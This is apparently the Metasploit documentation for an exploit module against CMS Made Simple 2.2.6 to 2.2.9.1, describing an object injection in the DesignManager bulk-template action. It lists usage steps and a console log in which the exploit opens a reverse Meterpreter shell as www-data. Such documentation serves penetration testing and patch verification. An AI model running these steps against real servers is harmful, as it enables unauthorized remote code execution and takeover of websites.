metasploit-gs/documentation/modules/exploit/multi/http/cmsms_object_injection_rce.md

Description

This module exploits an object injection vulnerability on files action.admin_bulk_template in DesignManager module (that is installed by default from CMS Made Simple). With an unprivileged user with Designer permission, it is possible to reach an unserialize function with a crafted value in the m1_allparms parameter resulting in execution of arbitrary PHP code.

Tested on CMS Made Simple 2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.

Vulnerable Application

Affecting CMS Made Simple, version 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.2.9.1

Verification Steps

1. Setting up a working installation of CMS Made Simple (CMSMS)
2. [OPTIONALLY] setting up a new user, assign it to a group and set the Designer permissions on group
3. Start msfconsole
4. use exploit/multi/http/cmsms_object_injection_rce
5. set RHOST <IP>
6. set USERNAME <USERNAME>
7. set PASSWORD <PASSWORD>
8. check
9. You should see The target appears to be vulnerable.
10. exploit
11. You should get a meterpreter session!

Options

• TARGETURI: Path to CMS Made Simple (CMSMS) App installation (/ is the default)
• USERNAME: Username to authenticate with
• PASSWORD: Password to authenticate with

Scenario

Tested on CMS Made Simple (CMSMS) 2.2.8

msf5 > use exploit/multi/http/cmsms_object_injection_rce
msf5 exploit(multi/http/cmsms_object_injection_rce) > set rhosts target.com
rhosts => target.com
msf5 exploit(multi/http/cmsms_object_injection_rce) > check
[*] 192.168.1.64:80 - The target appears to be vulnerable.
msf5 exploit(multi/http/cmsms_object_injection_rce) > set username daniele
username => daniele
msf5 exploit(multi/http/cmsms_object_injection_rce) > set password qwerty
password => qwerty
msf5 exploit(multi/http/cmsms_object_injection_rce) > set targeturi /cmsms/
targeturi => /cmsms/
msf5 exploit(multi/http/cmsms_object_injection_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.64:4444
[*] Sending stage (38247 bytes) to 192.168.1.64
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.64:41308) at 2019-11-01 11:15:57 +0100
[+] Deleted RsjeISeAu.php

meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.1.64 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/cmsms_object_injection_rce) >